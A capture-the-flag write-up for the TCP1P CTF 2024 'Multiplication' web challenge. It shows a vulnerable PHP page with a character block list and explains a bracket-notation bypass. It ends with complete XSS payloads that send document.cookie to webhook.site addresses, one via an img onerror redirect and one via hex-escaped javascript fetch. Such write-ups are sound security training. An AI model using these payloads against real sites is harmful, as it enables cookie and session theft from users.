TCP1P Multiplication

Lessons learned from TCP1P CTF 2024: Multiplication [WEB]

<?php
    error_reporting(0);
    header("Content-Security-Policy: script-src 'self' 'unsafe-inline';");
    $digit = $_GET['digit'];
    if ((int) $digit) {
        $forbiddenChars = array('<', '>', '`', '~', '(' , ')', ',', '+', '-', '/', '*', '%', '^', '|', '&', '!', '?', ':', ';', '.');
 
        foreach ($forbiddenChars as $char) {
            if (strpos($digit, $char) !== false) {
                http_response_code(403);
                die('403 Forbidden');
            }
        }
    } else {
        $digit = "0";
    }
 
?>
<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Beautiful 7</title>
</head>
 
<body>
    <h1>Magical 7</h1>
    <h3 class="result"></h3>
    <form action="/">
        <input type="text" name="digit" placeholder="Enter a digit">
        <input type="submit" value="Calculate">
    </form>
    <script>
        var multiply = function(a, b) {
            return a * b;
        }
 
        var result = multiply(7, <?php echo $digit; ?>);
 
        document.querySelector('.result').textContent = 'The result is: ' + result;
    </script>
</body>
</html>

WAF with forbiddenChars is restrictive, JS execution happens directly in:

  var result = multiply(7, <?php echo $digit; ?>);

Steps to solve:

1. Utilize document.location.search with a parameter containing an img tag to render JS. 2. Utilize annotation with square brackets e.g. document['body']['innerHTML'] 3. Chain together

For example:

1[document['body']['innerHTML']=location['search']]

This will replace the html body.

However it will not trigger <b>, <script>, <img> tags etc.

We need to set: document['body']['innerHTML'] = document['body']['innerText']

Full chained payload for the assignments:

1[document['body']['innerHTML']=location['search']]=2[document['body']['innerHTML']=document['body']['innerText']]

Finally add another parameter (not checked by WAF) to get XSS.

/?digit=1[document['body']['innerHTML']=location['search']]=2[document['body']['innerHTML']=document['body']['innerText']]&test=&lt;img/src=&quot;x&quot;/onerror=window.location=&quot;https://webhook.site/f13958df-1e87-44e2-ad9c-7c5e2018025d?c=&quot;+document.cookie&gt;

Alternative solution:

1[location="javascript\x3afetch\x28'https\x3a\x2f\x2fwebhook\x2esite\x2f5812007a\x2d90d2\x2d4078\x2dad5d\x2d7723bada7a50\x2f'\x2bdocument\x2ecookie\x29"]